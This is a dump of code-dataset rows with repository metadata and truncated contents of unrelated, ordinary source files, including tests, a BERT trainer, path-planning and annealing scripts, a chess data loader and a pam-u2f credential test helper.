hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
2
1.02M
avg_line_length
float64
1
958k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f7746261661596ac87c10d7e22d2b3bcb4fd533a
2,739
py
Python
tests/core/util/test_type_checking.py
luzofex/melati-blockchain
bddc95ed3a8c5631488cd44a9e76b764c19b4568
[ "Apache-2.0" ]
12
2021-07-13T15:39:57.000Z
2022-02-09T04:32:12.000Z
tests/core/util/test_type_checking.py
luzofex/melati-blockchain
bddc95ed3a8c5631488cd44a9e76b764c19b4568
[ "Apache-2.0" ]
1
2021-07-16T12:41:41.000Z
2021-07-16T12:42:48.000Z
tests/core/util/test_type_checking.py
luzofex/melati-blockchain
bddc95ed3a8c5631488cd44a9e76b764c19b4568
[ "Apache-2.0" ]
3
2021-07-13T05:35:30.000Z
2021-08-06T13:11:14.000Z
import unittest from dataclasses import dataclass from typing import Dict, List, Optional, Tuple from melati.util.ints import uint8 from melati.util.type_checking import is_type_List, is_type_SpecificOptional, strictdataclass class TestIsTypeList(unittest.TestCase): def test_basic_list(self): a = [1, 2, ...
28.53125
93
0.599124
import unittest from dataclasses import dataclass from typing import Dict, List, Optional, Tuple from melati.util.ints import uint8 from melati.util.type_checking import is_type_List, is_type_SpecificOptional, strictdataclass class TestIsTypeList(unittest.TestCase): def test_basic_list(self): a = [1, 2, ...
true
true
f774628d983b01d0cdf1f145c691654278f8d854
3,732
py
Python
vive_field_calibration.py
Rhoban/vive_provider
b7f54d32f20c4aaf9293ff5f91efdfcae9ea1081
[ "MIT" ]
null
null
null
vive_field_calibration.py
Rhoban/vive_provider
b7f54d32f20c4aaf9293ff5f91efdfcae9ea1081
[ "MIT" ]
null
null
null
vive_field_calibration.py
Rhoban/vive_provider
b7f54d32f20c4aaf9293ff5f91efdfcae9ea1081
[ "MIT" ]
null
null
null
#!/usr/bin/env python import json, sys from vive_provider import * from vive_bullet import BulletViewer from utils import rigid_transform_3D vp = Vive_provider(enableButtons=True) # Loading field positions to use for calibration fileName = 'fieldPositions.json' if len(sys.argv) > 1: fileName = sys.argv[1] f = ope...
34.555556
133
0.643891
import json, sys from vive_provider import * from vive_bullet import BulletViewer from utils import rigid_transform_3D vp = Vive_provider(enableButtons=True) fileName = 'fieldPositions.json' if len(sys.argv) > 1: fileName = sys.argv[1] f = open(fileName, 'r') field_positions = json.load(f) f.close() view...
true
true
f77464174cbe1031a4bcdcba60175d12df8b732f
7,332
py
Python
trainer/pretrain.py
zinechant/BERT-pytorch
7c8bc555f29ff7ba336b38f2eddd072d7910e2bd
[ "Apache-2.0" ]
null
null
null
trainer/pretrain.py
zinechant/BERT-pytorch
7c8bc555f29ff7ba336b38f2eddd072d7910e2bd
[ "Apache-2.0" ]
null
null
null
trainer/pretrain.py
zinechant/BERT-pytorch
7c8bc555f29ff7ba336b38f2eddd072d7910e2bd
[ "Apache-2.0" ]
null
null
null
import torch import torch.nn as nn from torch.optim import Adam from torch.utils.data import DataLoader from ..model import BERTLM, BERT from .optim_schedule import ScheduledOptim import tqdm import numpy def hook(arr, l, iNo): def trace(module, input, output): if iNo: cid = input[0].get_devi...
40.285714
108
0.605701
import torch import torch.nn as nn from torch.optim import Adam from torch.utils.data import DataLoader from ..model import BERTLM, BERT from .optim_schedule import ScheduledOptim import tqdm import numpy def hook(arr, l, iNo): def trace(module, input, output): if iNo: cid = input[0].get_devi...
true
true
f7746514aa7dc298821ad42be18d8aad8dfe5369
808
py
Python
venv/bin/rst2odt.py
Amirh24/monKey-s
10afccb07dc47c9239de07c5bbcdb95008f5f0e5
[ "MIT" ]
13
2018-08-21T10:12:26.000Z
2022-02-10T04:05:06.000Z
venv/bin/rst2odt.py
Amirh24/monKey-s
10afccb07dc47c9239de07c5bbcdb95008f5f0e5
[ "MIT" ]
6
2018-09-10T21:32:37.000Z
2022-01-13T00:50:53.000Z
venv/bin/rst2odt.py
Amirh24/monKey-s
10afccb07dc47c9239de07c5bbcdb95008f5f0e5
[ "MIT" ]
9
2018-09-01T17:08:46.000Z
2022-02-06T14:29:52.000Z
#!/home/randomizer/PycharmProjects/monKeyLinux/venv/bin/python # $Id: rst2odt.py 5839 2009-01-07 19:09:28Z dkuhlman $ # Author: Dave Kuhlman <dkuhlman@rexx.com> # Copyright: This module has been placed in the public domain. """ A front end to the Docutils Publisher, producing OpenOffice documents. """ import sys try...
26.064516
78
0.758663
import sys try: import locale locale.setlocale(locale.LC_ALL, '') except: pass from docutils.core import publish_cmdline_to_binary, default_description from docutils.writers.odf_odt import Writer, Reader description = ('Generates OpenDocument/OpenOffice/ODF documents from ' 'standalone ...
true
true
f77466d690ac80453c5bcf05d36aa957b9456a84
4,050
py
Python
PathPlanning/PotentialFieldPlanning/potential_field_planning.py
zxsted/PythonRobotics
3e9005d92270160a269f5203515e64c66a8cf6bb
[ "MIT" ]
2
2019-07-23T14:17:12.000Z
2020-01-16T12:46:41.000Z
PathPlanning/PotentialFieldPlanning/potential_field_planning.py
charmyoung/PythonRobotics
ed73b26db7eca9712dca696a9054f6ea2fcf26e9
[ "MIT" ]
null
null
null
PathPlanning/PotentialFieldPlanning/potential_field_planning.py
charmyoung/PythonRobotics
ed73b26db7eca9712dca696a9054f6ea2fcf26e9
[ "MIT" ]
1
2018-11-21T04:41:01.000Z
2018-11-21T04:41:01.000Z
""" Potential Field based path planner author: Atsushi Sakai (@Atsushi_twi) Ref: https://www.cs.cmu.edu/~motionplanning/lecture/Chap4-Potential-Field_howie.pdf """ import numpy as np import matplotlib.pyplot as plt # Parameters KP = 5.0 # attractive potential gain ETA = 100.0 # repulsive potential gain AREA_WID...
23.684211
78
0.51284
import numpy as np import matplotlib.pyplot as plt KP = 5.0 ETA = 100.0 AREA_WIDTH = 30.0 show_animation = True def calc_potential_field(gx, gy, ox, oy, reso, rr): minx = min(ox) - AREA_WIDTH / 2.0 miny = min(oy) - AREA_WIDTH / 2.0 maxx = max(ox) + AREA_WIDTH / 2.0 maxy = max(oy) + AREA_WIDTH / ...
true
true
f77466e94954d65897f595512c5019fdfbf4e59b
2,191
py
Python
strategies/annealing.py
mwkling/rectangle-overlap
3b1a01bf24934dcf775e5b1f76ce9bde0a21285d
[ "MIT" ]
5
2020-11-01T23:24:02.000Z
2022-01-27T14:58:24.000Z
strategies/annealing.py
mwkling/rectangle-overlap
3b1a01bf24934dcf775e5b1f76ce9bde0a21285d
[ "MIT" ]
4
2021-06-08T20:39:26.000Z
2022-03-12T00:06:51.000Z
strategies/annealing.py
mwkling/rectangle-overlap
3b1a01bf24934dcf775e5b1f76ce9bde0a21285d
[ "MIT" ]
null
null
null
import random import math class Annealing: def __init__(self, rectangles): self.rectangles = rectangles self.temperature = 1.0 # TODO how to set/configure these parameters in a smarter way self.magnitude = 10 self.rounds = 5000 # Energy measure is the total area of ove...
33.19697
94
0.492926
import random import math class Annealing: def __init__(self, rectangles): self.rectangles = rectangles self.temperature = 1.0 self.magnitude = 10 self.rounds = 5000 def energy(self, idx): rect = self.rectangles[idx] return sum([rect.overla...
true
true
f7746759221832d5f7cfd8272350597dfe13cdea
20,853
py
Python
handset/src/ave/handset/lister.py
yiu31802/ave
e46fc357f9464d5beaf42568a74bb95e6b1b8037
[ "BSD-3-Clause" ]
17
2016-11-16T08:09:49.000Z
2021-08-12T06:38:09.000Z
handset/src/ave/handset/lister.py
yiu31802/ave
e46fc357f9464d5beaf42568a74bb95e6b1b8037
[ "BSD-3-Clause" ]
null
null
null
handset/src/ave/handset/lister.py
yiu31802/ave
e46fc357f9464d5beaf42568a74bb95e6b1b8037
[ "BSD-3-Clause" ]
12
2016-11-20T15:34:03.000Z
2020-08-04T00:26:11.000Z
# Copyright (C) 2013-2014 Sony Mobile Communications AB. # All rights, including trade secret rights, reserved. import os import traceback import signal import select import time import copy import errno import socket import json from ctypes import * from datetime import datetime, timedelta from av...
35.953448
99
0.582698
import os import traceback import signal import select import time import copy import errno import socket import json from ctypes import * from datetime import datetime, timedelta from ave.handset.profile import HandsetProfile from ave.network.control import RemoteControl from ave.network.pro...
false
true
f77467683cd1749cdce93d2cdb3ce3aed69cae47
1,800
py
Python
lib/galaxy/datatypes/converters/fasta_to_tabular_converter.py
rikeshi/galaxy
c536a877e4a9b3d12aa0d00fd4d5e705109a0d0a
[ "CC-BY-3.0" ]
4
2018-10-29T18:34:38.000Z
2021-09-29T23:30:42.000Z
lib/galaxy/datatypes/converters/fasta_to_tabular_converter.py
rikeshi/galaxy
c536a877e4a9b3d12aa0d00fd4d5e705109a0d0a
[ "CC-BY-3.0" ]
52
2015-03-16T14:02:14.000Z
2021-12-24T09:50:23.000Z
lib/galaxy/datatypes/converters/fasta_to_tabular_converter.py
rikeshi/galaxy
c536a877e4a9b3d12aa0d00fd4d5e705109a0d0a
[ "CC-BY-3.0" ]
7
2016-11-03T19:11:01.000Z
2020-05-11T14:23:52.000Z
#!/usr/bin/env python # Variants of this code exists in 2 places, this file which has no # user facing options which is called for implicit data conversion, # lib/galaxy/datatypes/converters/fasta_to_tabular_converter.py # and the user-facing Galaxy tool of the same name which has many # options. That version is now on...
34.615385
83
0.566667
import os import sys seq_hash = {} def __main__(): infile = sys.argv[1] outfile = sys.argv[2] if not os.path.isfile(infile): sys.stderr.write("Input file %r not found\n" % infile) sys.exit(1) with open(infile) as inp: with open(outfile, 'w') as out: sequence = ''...
true
true
f774678f79901bf9114c84d65767c01f26199207
1,721
py
Python
d7a/alp/operands/indirect_interface_operand.py
L-I-Am/pyd7a
7e3dd6ff71c92df72570d6b852ca74cc5af50707
[ "Apache-2.0" ]
9
2016-05-12T20:11:30.000Z
2020-08-18T05:46:15.000Z
d7a/alp/operands/indirect_interface_operand.py
L-I-Am/pyd7a
7e3dd6ff71c92df72570d6b852ca74cc5af50707
[ "Apache-2.0" ]
2
2018-01-14T12:39:06.000Z
2019-11-25T09:11:08.000Z
d7a/alp/operands/indirect_interface_operand.py
L-I-Am/pyd7a
7e3dd6ff71c92df72570d6b852ca74cc5af50707
[ "Apache-2.0" ]
7
2016-09-06T11:08:15.000Z
2020-10-27T10:29:24.000Z
# # Copyright (c) 2015-2021 University of Antwerp, Aloxy NV. # # This file is part of pyd7a. # See https://github.com/Sub-IoT/pyd7a for further info. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the Lice...
39.113636
130
0.773969
from d7a.alp.interface import InterfaceType from d7a.d7anp.addressee import Addressee from d7a.sp.configuration import Configuration from d7a.support.schema import Validatable, Types class IndirectInterfaceOperand(Validatable): SCHEMA = [{ "interface_file_id" : Types.INTEGER(min=0, max=0xFF), "inter...
true
true
f77467ae7fb99fe72ca27b20342b2a4edb6e7bba
4,019
py
Python
python2/koans/30_about_multiple_inheritance.py
LearnWithLlew/python_koans
80a0be1c406938413255b2df20ddf8e86fdf7316
[ "MIT" ]
3
2018-11-10T15:47:15.000Z
2020-08-07T19:46:27.000Z
python2/koans/30_about_multiple_inheritance.py
LearnWithLlew/python_koans
80a0be1c406938413255b2df20ddf8e86fdf7316
[ "MIT" ]
1
2016-11-02T00:45:47.000Z
2016-11-02T00:45:47.000Z
python2/koans/30_about_multiple_inheritance.py
LearnWithLlew/python_koans
80a0be1c406938413255b2df20ddf8e86fdf7316
[ "MIT" ]
7
2016-11-01T23:17:40.000Z
2020-03-03T21:23:25.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Slightly based on AboutModules in the Ruby Koans # import unittest from runner.koan import * class AboutMultipleInheritance(unittest.TestCase): class Nameable(object): def __init__(self): self._name = None def set_name(self, new_name...
28.104895
84
0.581986
import unittest from runner.koan import * class AboutMultipleInheritance(unittest.TestCase): class Nameable(object): def __init__(self): self._name = None def set_name(self, new_name): self._name = new_name def here(self): return "In Nameable class" ...
true
true
f77468146263f0fd3dc7304b03a3ab6f21edcec5
471
py
Python
assets/Poser/Reality/Runtime/Libraries/light/Reality/SingleIBLs/Circle/Large/Circle_Large_10.py
Red54/reality
510d4f5fde2f4c5535482f1ea199f914102b8a2a
[ "BSD-3-Clause" ]
null
null
null
assets/Poser/Reality/Runtime/Libraries/light/Reality/SingleIBLs/Circle/Large/Circle_Large_10.py
Red54/reality
510d4f5fde2f4c5535482f1ea199f914102b8a2a
[ "BSD-3-Clause" ]
null
null
null
assets/Poser/Reality/Runtime/Libraries/light/Reality/SingleIBLs/Circle/Large/Circle_Large_10.py
Red54/reality
510d4f5fde2f4c5535482f1ea199f914102b8a2a
[ "BSD-3-Clause" ]
null
null
null
# # Copyright (c) Pret-a-3D/Paolo Ciccone. All rights reserved. # Modified by Fuzzy70/Lee Furssedonn with kind permission from Paolo Ciccone # from Reality_services import * from Reality import * # To customize this script all you need to do is to # change the following variable Re_sIBL_Map = ":Runtime:Text...
31.4
80
0.762208
from Reality_services import * from Reality import * Re_sIBL_Map = ":Runtime:Textures:Reality:SingleIBLs:Circle:Circle_Large_10.ibl" Reality.Scene().setIBLImage(ReResolvePoserPath(Re_sIBL_Map).encode("utf8"))
true
true
f774687946a6be8e26f671ecb6c1af8f22ebad9a
885
py
Python
tests/integration/test_constants.py
jobvs/cf-mendix-buildpack
7df5585b5ac8550fd36d21c9d354d74489ff78c0
[ "Apache-2.0" ]
36
2015-01-22T16:28:55.000Z
2021-12-28T10:26:10.000Z
tests/integration/test_constants.py
jobvs/cf-mendix-buildpack
7df5585b5ac8550fd36d21c9d354d74489ff78c0
[ "Apache-2.0" ]
208
2015-06-01T13:39:17.000Z
2022-03-24T14:16:09.000Z
tests/integration/test_constants.py
jobvs/cf-mendix-buildpack
7df5585b5ac8550fd36d21c9d354d74489ff78c0
[ "Apache-2.0" ]
135
2015-01-17T14:47:22.000Z
2022-03-07T08:20:18.000Z
import json from tests.integration import basetest # TODO check if we can unit test this class TestCaseConstants(basetest.BaseTest): def test_constant_is_set(self): self.stage_container( "sample-6.2.0.mda", env_vars={ # has more precedence "MX_AppClo...
32.777778
80
0.544633
import json from tests.integration import basetest class TestCaseConstants(basetest.BaseTest): def test_constant_is_set(self): self.stage_container( "sample-6.2.0.mda", env_vars={ "MX_AppCloudServices_OpenIdProvider": "http://localhost", ...
true
true
f774692f1c964b40283e141b887b88019c241420
354
py
Python
scripts/python/1281_subtract_product_and_sum_of_digits_of_integer.py
weirdcoder247/leetcode_solutions
77e3579dadf40405411a15532cfca227329dad98
[ "MIT" ]
1
2022-02-15T19:08:38.000Z
2022-02-15T19:08:38.000Z
scripts/python/1281_subtract_product_and_sum_of_digits_of_integer.py
weirdcoder247/leetcode_solutions
77e3579dadf40405411a15532cfca227329dad98
[ "MIT" ]
null
null
null
scripts/python/1281_subtract_product_and_sum_of_digits_of_integer.py
weirdcoder247/leetcode_solutions
77e3579dadf40405411a15532cfca227329dad98
[ "MIT" ]
null
null
null
class Solution(object): def subtractProductAndSum(self, n): """ :type n: int :rtype: int """ prod = 1 n = [int(x) for x in list(str(n))] for i in n: prod *= i return prod - sum(n) if __name__ == '__main__': obj = Solution() n = 10...
19.666667
42
0.483051
class Solution(object): def subtractProductAndSum(self, n): prod = 1 n = [int(x) for x in list(str(n))] for i in n: prod *= i return prod - sum(n) if __name__ == '__main__': obj = Solution() n = 10 obj.subtractProductAndSum(n)
true
true
f77469fb913987dc7fad54799b1d78d50942dc4f
1,796
py
Python
venv/Lib/site-packages/caffe2/quantization/server/dequantize_dnnlowp_op_test.py
Westlanderz/AI-Plat1
1187c22819e5135e8e8189c99b86a93a0d66b8d8
[ "MIT" ]
1
2022-01-08T12:30:44.000Z
2022-01-08T12:30:44.000Z
venv/Lib/site-packages/caffe2/quantization/server/dequantize_dnnlowp_op_test.py
Westlanderz/AI-Plat1
1187c22819e5135e8e8189c99b86a93a0d66b8d8
[ "MIT" ]
null
null
null
venv/Lib/site-packages/caffe2/quantization/server/dequantize_dnnlowp_op_test.py
Westlanderz/AI-Plat1
1187c22819e5135e8e8189c99b86a93a0d66b8d8
[ "MIT" ]
null
null
null
import collections import caffe2.python.hypothesis_test_util as hu import hypothesis.strategies as st import numpy as np from caffe2.python import core, dyndep, workspace from caffe2.quantization.server.dnnlowp_test_utils import check_quantized_results_close from hypothesis import given dyndep.InitOpsL...
33.259259
88
0.609688
import collections import caffe2.python.hypothesis_test_util as hu import hypothesis.strategies as st import numpy as np from caffe2.python import core, dyndep, workspace from caffe2.quantization.server.dnnlowp_test_utils import check_quantized_results_close from hypothesis import given dyndep.InitOpsL...
true
true
f7746a9348c979ff88e5027dd3b8e26e24bbf421
4,639
py
Python
enas/src/chess/data_utils.py
LothairKizardjian/EfficientNeuralSearch
45dd9c052fb74f9bb56efd9b914761dafb1a7ac9
[ "MIT" ]
null
null
null
enas/src/chess/data_utils.py
LothairKizardjian/EfficientNeuralSearch
45dd9c052fb74f9bb56efd9b914761dafb1a7ac9
[ "MIT" ]
null
null
null
enas/src/chess/data_utils.py
LothairKizardjian/EfficientNeuralSearch
45dd9c052fb74f9bb56efd9b914761dafb1a7ac9
[ "MIT" ]
null
null
null
import os import sys import _pickle as pickle import numpy as np import tensorflow as tf import chess.pgn import pgn_tensors_utils import bz2 def read_data(data_path, num_valids=20000): print("-" * 80) print("Reading data") nb_games = 200 #nb_games = sys.maxsize boards, labels, results = {}, {}, {} train...
33.374101
112
0.67881
import os import sys import _pickle as pickle import numpy as np import tensorflow as tf import chess.pgn import pgn_tensors_utils import bz2 def read_data(data_path, num_valids=20000): print("-" * 80) print("Reading data") nb_games = 200 boards, labels, results = {}, {}, {} train_files = [ "pgn_game...
true
true
f7746ab5e1678d6e236aec476a9588fffb47dc28
7,005
py
Python
scripts/fixup_bigquery_datatransfer_v1_keywords.py
tswast/python-bigquery-datatransfer
b3b951c085b360693dedb7eed34adc94883b4063
[ "Apache-2.0" ]
null
null
null
scripts/fixup_bigquery_datatransfer_v1_keywords.py
tswast/python-bigquery-datatransfer
b3b951c085b360693dedb7eed34adc94883b4063
[ "Apache-2.0" ]
null
null
null
scripts/fixup_bigquery_datatransfer_v1_keywords.py
tswast/python-bigquery-datatransfer
b3b951c085b360693dedb7eed34adc94883b4063
[ "Apache-2.0" ]
null
null
null
#! /usr/bin/env python3 # -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requi...
36.868421
135
0.631549
import argparse import os import libcst as cst import pathlib import sys from typing import (Any, Callable, Dict, List, Sequence, Tuple) def partition( predicate: Callable[[Any], bool], iterator: Sequence[Any] ) -> Tuple[List[Any], List[Any]]: results = ([], []) for i in iterator: results[int...
true
true
f7746acd763158c1365942697bc46d8e59c04862
6,707
py
Python
mojo/python/tests/bindings_structs_unittest.py
Fusion-Rom/android_external_chromium_org
d8b126911c6ea9753e9f526bee5654419e1d0ebd
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2015-08-13T21:04:58.000Z
2015-08-13T21:04:58.000Z
mojo/python/tests/bindings_structs_unittest.py
Fusion-Rom/android_external_chromium_org
d8b126911c6ea9753e9f526bee5654419e1d0ebd
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
mojo/python/tests/bindings_structs_unittest.py
Fusion-Rom/android_external_chromium_org
d8b126911c6ea9753e9f526bee5654419e1d0ebd
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2020-11-04T06:34:36.000Z
2020-11-04T06:34:36.000Z
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import math import unittest # pylint: disable=F0401 import mojo.system # Generated files # pylint: disable=F0401 import sample_import_mojom import sample_i...
36.851648
78
0.706128
import math import unittest import mojo.system import sample_import_mojom import sample_import2_mojom import sample_service_mojom class StructBindingsTest(unittest.TestCase): def testModule(self): self.assertEquals(sample_service_mojom.DefaultsTest.__module__, 'sample_service_mojom') ...
true
true
f7746b10fef266e7e3aa4fec7b6c523c0ea3b106
1,244
py
Python
fluo/views/__init__.py
rsalmaso/django-fluo
340e3b4f9c1b4b09feccefb9b3ab2d26d59fac2b
[ "MIT" ]
1
2020-08-05T09:29:08.000Z
2020-08-05T09:29:08.000Z
fluo/views/__init__.py
rsalmaso/django-fluo
340e3b4f9c1b4b09feccefb9b3ab2d26d59fac2b
[ "MIT" ]
1
2020-08-05T09:28:58.000Z
2020-09-19T09:02:48.000Z
fluo/views/__init__.py
rsalmaso/django-fluo
340e3b4f9c1b4b09feccefb9b3ab2d26d59fac2b
[ "MIT" ]
null
null
null
# Copyright (C) 2007-2020, Raffaele Salmaso <raffaele@salmaso.org> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, cop...
44.428571
79
0.766881
from .base import RedirectView, TemplateView, View __all__ = [ "View", "TemplateView", "RedirectView", ]
true
true
f7746b12f4606d4a96195a97eac3ad30fa23da10
180
py
Python
app/fields/__init__.py
PhotoScout/API
24c2040b0a2fcb1ea906c7aa095c9e74d3ca4fa9
[ "MIT" ]
null
null
null
app/fields/__init__.py
PhotoScout/API
24c2040b0a2fcb1ea906c7aa095c9e74d3ca4fa9
[ "MIT" ]
null
null
null
app/fields/__init__.py
PhotoScout/API
24c2040b0a2fcb1ea906c7aa095c9e74d3ca4fa9
[ "MIT" ]
null
null
null
from .user import USER_SHORT_FIELDS, USER_FIELDS from .guide import GUIDE_FIELDS from .photo import PHOTO_FIELDS from .misc import LOCATION_FIELDS from .places import PLACE_FIELDS
30
48
0.85
from .user import USER_SHORT_FIELDS, USER_FIELDS from .guide import GUIDE_FIELDS from .photo import PHOTO_FIELDS from .misc import LOCATION_FIELDS from .places import PLACE_FIELDS
true
true
f7746b20be2b9da7ca1ea9548ccfe60444c82466
5,027
py
Python
tests/regenerate_credentials.py
NgoHuy/pam-u2f
6730b175f094c2dd82bce603ab80a69369148263
[ "BSD-2-Clause" ]
null
null
null
tests/regenerate_credentials.py
NgoHuy/pam-u2f
6730b175f094c2dd82bce603ab80a69369148263
[ "BSD-2-Clause" ]
null
null
null
tests/regenerate_credentials.py
NgoHuy/pam-u2f
6730b175f094c2dd82bce603ab80a69369148263
[ "BSD-2-Clause" ]
null
null
null
#!/bin/python2 import collections import re import subprocess import sys import getpass PUC = "../pamu2fcfg/pamu2fcfg" user = getpass.getuser() resident = ["", "-r"] presence = ["", "-P"] pin = ["", "-N"] verification = ["", "-V"] Credential = collections.namedtuple("Credential", "keyhandle pubkey attributes ol...
34.197279
109
0.515616
import collections import re import subprocess import sys import getpass PUC = "../pamu2fcfg/pamu2fcfg" user = getpass.getuser() resident = ["", "-r"] presence = ["", "-P"] pin = ["", "-N"] verification = ["", "-V"] Credential = collections.namedtuple("Credential", "keyhandle pubkey attributes oldformat") sshf...
true
true
f7746d14becff72257babe75e106505e478fe2c0
339
py
Python
Mundo 3/ex077a.py
adonaifariasdev/cursoemvideo-python3
1fd35e45b24c52013fa3bc98e723971db8e6b7d1
[ "MIT" ]
null
null
null
Mundo 3/ex077a.py
adonaifariasdev/cursoemvideo-python3
1fd35e45b24c52013fa3bc98e723971db8e6b7d1
[ "MIT" ]
null
null
null
Mundo 3/ex077a.py
adonaifariasdev/cursoemvideo-python3
1fd35e45b24c52013fa3bc98e723971db8e6b7d1
[ "MIT" ]
null
null
null
palavras = ('aprender', 'programar', 'linguagem', 'python', 'curso', 'gratis', 'estudar', 'praticar', 'trabalhar', 'mercado', 'programador', 'futuro') for p in palavras: print(f'\nNa palavra {p.upper()} temos ', end='') for letra in p: if letra.lower() in 'aeiou': pri...
37.666667
60
0.548673
palavras = ('aprender', 'programar', 'linguagem', 'python', 'curso', 'gratis', 'estudar', 'praticar', 'trabalhar', 'mercado', 'programador', 'futuro') for p in palavras: print(f'\nNa palavra {p.upper()} temos ', end='') for letra in p: if letra.lower() in 'aeiou': pri...
true
true
f7746e0368540d6367436782c5238a5009d53584
246
py
Python
CodeHS/Extending Data Structures/Grid.py
Kev-in123/ICS2O7
425c59975d4ce6aa0937fd8715b51d04487e4fa9
[ "MIT" ]
2
2021-08-10T18:16:08.000Z
2021-09-26T19:49:26.000Z
CodeHS/Extending Data Structures/Grid.py
Kev-in123/ICS2O7
425c59975d4ce6aa0937fd8715b51d04487e4fa9
[ "MIT" ]
null
null
null
CodeHS/Extending Data Structures/Grid.py
Kev-in123/ICS2O7
425c59975d4ce6aa0937fd8715b51d04487e4fa9
[ "MIT" ]
null
null
null
""" This program show how the multiplication operator can be used on lists! It takes whatever is in the list and repeats it the specified number of times. """ my_grid = [] for i in range(8): my_grid.append([0] * 8) print(my_grid)
22.363636
76
0.682927
my_grid = [] for i in range(8): my_grid.append([0] * 8) print(my_grid)
true
true
f7746eb39fdea59e1b2a7e5042d068aded38f1a0
259
py
Python
g/appengine/py/standard/simple-blog/app/data/blogpost.py
chhschou/sandpit
d4a6760905b45b90455f10a5b50af3c5f743e445
[ "MIT" ]
null
null
null
g/appengine/py/standard/simple-blog/app/data/blogpost.py
chhschou/sandpit
d4a6760905b45b90455f10a5b50af3c5f743e445
[ "MIT" ]
null
null
null
g/appengine/py/standard/simple-blog/app/data/blogpost.py
chhschou/sandpit
d4a6760905b45b90455f10a5b50af3c5f743e445
[ "MIT" ]
null
null
null
from google.appengine.ext import ndb class Post(ndb.Model): subject = ndb.StringProperty(required=True) content = ndb.TextProperty(required=True) created = ndb.DateTimeProperty(auto_now_add=True) user_id = ndb.IntegerProperty(required=True)
28.777778
53
0.760618
from google.appengine.ext import ndb class Post(ndb.Model): subject = ndb.StringProperty(required=True) content = ndb.TextProperty(required=True) created = ndb.DateTimeProperty(auto_now_add=True) user_id = ndb.IntegerProperty(required=True)
true
true
f7746ed76483557f6d753f08a623082182bec432
410
py
Python
hindi/unicode_testing.py
amankhandelia/kaccha_ghada
19afa33036c35866e9ebd91bf45de87242eebf85
[ "Apache-2.0" ]
null
null
null
hindi/unicode_testing.py
amankhandelia/kaccha_ghada
19afa33036c35866e9ebd91bf45de87242eebf85
[ "Apache-2.0" ]
null
null
null
hindi/unicode_testing.py
amankhandelia/kaccha_ghada
19afa33036c35866e9ebd91bf45de87242eebf85
[ "Apache-2.0" ]
null
null
null
import unicodedata texts = ['क्ष, त्र, ज्ञ और श्र हिन्दी के संयुक्त व्यंजन हैं', 'ता'] normalizetion_type = 'NFKC' for text in texts: noramalized_text = unicodedata.normalize(normalizetion_type, text) print("Unnormalized text") for char in text: print(char, unicodedata.name(char)) print("Normal...
31.538462
70
0.668293
import unicodedata texts = ['क्ष, त्र, ज्ञ और श्र हिन्दी के संयुक्त व्यंजन हैं', 'ता'] normalizetion_type = 'NFKC' for text in texts: noramalized_text = unicodedata.normalize(normalizetion_type, text) print("Unnormalized text") for char in text: print(char, unicodedata.name(char)) print("Normal...
true
true
f7746eeab8563779f5e3ed9a57160c4336d8125b
1,195
py
Python
stellapy/GUI/utils/get_centerCoordinatesOfMonitor.py
SStroteich/stella-1
104556a07b9736e7c28e6f1bf2f799384732f38b
[ "MIT" ]
4
2021-12-15T08:23:45.000Z
2022-02-18T15:14:42.000Z
stellapy/GUI/utils/get_centerCoordinatesOfMonitor.py
SStroteich/stella-1
104556a07b9736e7c28e6f1bf2f799384732f38b
[ "MIT" ]
37
2021-07-05T16:41:33.000Z
2022-03-21T15:58:05.000Z
stellapy/GUI/utils/get_centerCoordinatesOfMonitor.py
SStroteich/stella-1
104556a07b9736e7c28e6f1bf2f799384732f38b
[ "MIT" ]
7
2021-07-05T15:35:55.000Z
2022-03-09T09:23:42.000Z
import screeninfo def get_centerCoordinatesOfMonitor(root, window, width=None, heigth=None): ''' When using dual monitors, this will give the center of the monitor where the root is located. ''' # Get the monitors monitors = screeninfo.get_monitors() # Get the location of the root window x = ...
39.833333
105
0.643515
import screeninfo def get_centerCoordinatesOfMonitor(root, window, width=None, heigth=None): monitors = screeninfo.get_monitors() x = root.winfo_x() y = root.winfo_y() center_x = monitors[0].x + (monitors[0].width/2) center_y = monitors[0].y + (monitors[0].height/2) ...
true
true
f7746f38013f7ab08d987b1a5b76d7205121cffa
1,904
py
Python
tests/logic_adapter_tests/test_logic_adapter.py
arnauddelaunay/ChatterBot
71ef0026ca2661bfacc2477f6ffef01467ef6dac
[ "BSD-3-Clause" ]
1
2019-05-30T13:45:02.000Z
2019-05-30T13:45:02.000Z
tests/logic_adapter_tests/test_logic_adapter.py
arnauddelaunay/ChatterBot
